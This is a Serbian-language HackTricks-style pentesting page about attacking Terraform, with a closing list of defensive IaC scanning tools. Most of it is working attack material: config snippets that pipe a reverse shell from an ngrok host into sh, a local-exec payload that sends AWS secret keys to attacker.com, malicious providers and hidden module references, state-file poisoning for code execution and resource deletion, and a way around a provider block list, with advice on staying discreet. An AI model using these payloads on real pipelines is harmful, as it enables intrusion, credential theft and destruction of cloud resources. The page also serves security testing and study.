Terraform Security

Reading time: 13 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Iz dokumenata:

HashiCorp Terraform je alat za infrastrukturu kao kod koji vam omogućava da definišete resurse u oblaku i lokalne resurse u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su računarstvo, skladištenje i mrežni resursi, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije.

Kako Terraform funkcioniše?

Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraformu da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API.

HashiCorp i Terraform zajednica su već napisali više od 1700 provajdera za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj se nastavlja povećavati. Sve javno dostupne provajdere možete pronaći na Terraform Registry, uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge.

Osnovni Terraform radni tok se sastoji od tri faze:

  • Pisanje: Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtuelne Privatne Oblasti (VPC) sa sigurnosnim grupama i balansirnikom opterećenja.
  • Planiranje: Terraform kreira plan izvršenja koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
  • Primena: Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući sve zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine.

Terraform laboratorija

Samo instalirajte terraform na vašem računaru.

Ovde imate vodič i ovde imate najbolji način za preuzimanje terraforma.

RCE u Terraformu: trovanje konfiguracionih datoteka

Terraform nema platformu koja izlaže veb stranicu ili mrežnu uslugu koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform da možemo dodati/izmeniti terraform konfiguracione datoteke ili da možemo izmeniti terraform stanje datoteke (vidi poglavlje ispod).

Međutim, terraform je veoma osetljiva komponenta za kompromitovanje jer će imati privilegovan pristup različitim lokacijama kako bi mogao pravilno da funkcioniše.

Glavni način na koji napadač može kompromitovati sistem na kojem se terraform izvršava je da kompromituje repozitorijum koji čuva terraform konfiguracije, jer će u nekom trenutku biti interpretirane.

U stvari, postoje rešenja koja automatski izvršavaju terraform plan/primenu nakon što je PR kreiran, kao što je Atlantis:

Atlantis Security

Ako ste u mogućnosti da kompromitujete terraform datoteku, postoje različiti načini na koje možete izvršiti RCE kada neko izvrši terraform plan ili terraform apply.

Terraform plan

Terraform plan je najčešće korišćena komanda u terraformu i programeri/rešenja koja koriste terraform je stalno pozivaju, tako da je najlakši način da dobijete RCE da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u terraform plan.

Korišćenje spoljnog provajdera

Terraform nudi external provajder koji pruža način za interakciju između Terraforma i spoljnjih programa. Možete koristiti external izvor podataka za izvršavanje proizvoljnog koda tokom plana.

Umetanje u terraform konfiguracionu datoteku nešto poput sledećeg će izvršiti rev shell kada se izvrši terraform plan:

javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Korišćenje prilagođenog provajdera

Napadač bi mogao poslati prilagođenog provajdera na Terraform Registry i zatim ga dodati u Terraform kod u funkcionalnoj grani (primer odavde):

javascript
terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Provajder se preuzima u init i izvršiće maliciozni kod kada se izvrši plan

Možete pronaći primer na https://github.com/rung/terraform-provider-cmdexec

Korišćenje spoljnog reference

Obe pomenute opcije su korisne, ali nisu baš diskretne (druga je diskretnija, ali složenija od prve). Ovaj napad možete izvesti čak i na diskretniji način, prateći ove sugestije:

  • Umesto da direktno dodate rev shell u terraform datoteku, možete učitati spoljnji resurs koji sadrži rev shell:
javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Možete pronaći rev shell kod na https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • U spoljnim resursima, koristite ref funkciju da sakrijete terraform rev shell kod u grani unutar repozitorijuma, nešto poput: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply će biti izvršen da primeni sve promene, takođe ga možete zloupotrebiti da dobijete RCE injektovanjem malicioznog Terraform fajla sa local-exec.
Samo treba da se pobrinete da neki payload poput sledećih završi u main.tf fajlu:

json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Sledite preporukama iz prethodne tehnike da izvršite ovaj napad na diskretniji način koristeći spoljne reference.

Izvori tajni

Možete imati tajne vrednosti koje koristi terraform izbačene pokretanjem terraform apply dodavanjem nečega poput:

json
output "dotoken" {
value = nonsensitive(var.do_token)
}

Zloupotreba Terraform State Fajlova

U slučaju da imate pristup za pisanje nad terraform state fajlovima, ali ne možete da menjate terraform kod, ova istraživanja nude neke zanimljive opcije za korišćenje fajla. Čak i ako biste imali pristup za pisanje nad konfiguracionim fajlovima, korišćenje vektora state fajlova je često mnogo podlije, pošto ne ostavljate tragove u git istoriji.

RCE u Terraform-u: trovanje konfiguracionog fajla

Moguće je napraviti prilagođenog provajdera i jednostavno zameniti jednog od provajdera u terraform state fajlu za malicioznog ili dodati lažni resurs koji se poziva na malicioznog provajdera.

Provajder statefile-rce se oslanja na istraživanje i oružava ovaj princip. Možete dodati lažni resurs i navesti proizvoljnu bash komandu koju želite da izvršite u atributu command. Kada se pokrene terraform run, ovo će biti pročitano i izvršeno u koracima terraform plan i terraform apply. U slučaju koraka terraform apply, terraform će obrisati lažni resurs iz state fajla nakon izvršavanja vaše komande, čisteći za sobom. Više informacija i puna demonstracija mogu se naći u GitHub repozitorijumu koji hostuje izvorni kod za ovog provajdera.

Da biste ga koristili direktno, jednostavno uključite sledeće na bilo kojoj poziciji u nizu resources i prilagodite atribute name i command:

json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Zatim, čim se izvrši terraform, vaš kod će se pokrenuti.

Brisanje resursa

Postoje 2 načina da se unište resursi:

  1. Umetnite resurs sa nasumičnim imenom u fajl stanja koji pokazuje na pravi resurs koji treba uništiti

Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (prateći pravi ID resursa koji je naznačen). Primer sa prethodne strane:

json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Izmenite resurs za brisanje na način da nije moguće ažurirati (tako da će biti obrisan i ponovo kreiran)

Za EC2 instancu, izmena tipa instance je dovoljna da terraform obriše i ponovo je kreira.

Zamenite crnu listu provajdera

U slučaju da naiđete na situaciju gde je hashicorp/external stavljen na crnu listu, možete ponovo implementirati external provajder na sledeći način. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj vlastiti fork ili ponovnu implementaciju.

terraform
terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Tada možete koristiti external kao i obično.

terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Automatski alati za reviziju

Snyk Infrastructure as Code (IaC)

Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform, CloudFormation, Kubernetes i drugim IaC formatima.

  • Karakteristike:
  • Skeniranje u realnom vremenu za sigurnosne ranjivosti i probleme usklađenosti.
  • Integracija sa sistemima za kontrolu verzija (GitHub, GitLab, Bitbucket).
  • Automatizovani zahtevi za ispravke.
  • Detaljni saveti za otklanjanje problema.
  • Prijavite se: Kreirajte nalog na Snyk.
bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i open source pakete.

Skeneruje cloud infrastrukturu koja je obezbeđena koristeći Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, ili OpenTofu i detektuje bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu.

Izvodi Software Composition Analysis (SCA) skeniranje koje je skeniranje open source paketa i slika za Common Vulnerabilities and Exposures (CVEs).

bash
pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance je lagan, bezbednosno orijentisan test okvir za usklađenost protiv terraform-a koji omogućava negativno testiranje za vašu infrastrukturu kao kod.

  • usaglašenost: Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde
  • razvoj vođen ponašanjem: Imamo BDD za gotovo sve, zašto ne i za IaC?
  • prenosiv: samo ga instalirajte putem pip ili ga pokrenite putem docker. Pogledajte Instalacija
  • pre-deploy: validira vaš kod pre nego što bude implementiran
  • lako za integraciju: može se pokrenuti u vašem pipeline-u (ili u git hooks) kako bi se osiguralo da su sve implementacije validirane.
  • razdvajanje dužnosti: možete čuvati svoje testove u drugom repozitorijumu gde je odgovorna posebna ekipa.

note

Nažalost, ako kod koristi neke provajdere kojima nemate pristup, nećete moći da izvršite terraform plan i pokrenete ovaj alat.

bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

From the docs: tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.

  • ☁️ Proverava pogrešne konfiguracije kod svih glavnih (i nekih manjih) provajdera u oblaku
  • ⛔ Stotine ugrađenih pravila
  • 🪆 Skenira module (lokalne i udaljene)
  • ➕ Evaluira HCL izraze kao i literalne vrednosti
  • ↪️ Evaluira Terraform funkcije npr. concat()
  • 🔗 Evaluira odnose između Terraform resursa
  • 🧰 Kompatibilan sa Terraform CDK
  • 🙅 Primena (i obogaćivanje) korisnički definisanih Rego politika
  • 📃 Podržava više formata izlaza: lovely (podrazumevano), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
  • 🛠️ Konfigurisanje (putem CLI zastavica i/ili konfiguracione datoteke)
  • ⚡ Veoma brzo, sposobno za brzo skeniranje ogromnih repozitorijuma
bash
brew install tfsec
tfsec /path/to/folder

KICKS

Pronađite sigurnosne ranjivosti, probleme usklađenosti i greške u konfiguraciji infrastrukture rano u razvoju vaše infrastrukture kao koda uz KICS od Checkmarx.

KICS označava Keeping Infrastructure as Code Secure, otvorenog je koda i neophodan je za svaki cloud native projekat.

bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Iz dokumentacije: Terrascan je statički analizator koda za Infrastructure as Code. Terrascan vam omogućava:

  • Besprekorno skeniranje infrastrukture kao koda za pogrešne konfiguracije.
  • Praćenje obezbeđene cloud infrastrukture za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu.
  • Otkrivanje sigurnosnih ranjivosti i kršenja usklađenosti.
  • Ublažavanje rizika pre obezbeđivanja cloud native infrastrukture.
  • Nudi fleksibilnost za lokalno pokretanje ili integraciju sa vašim CI\CD.
bash
brew install terrascan

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks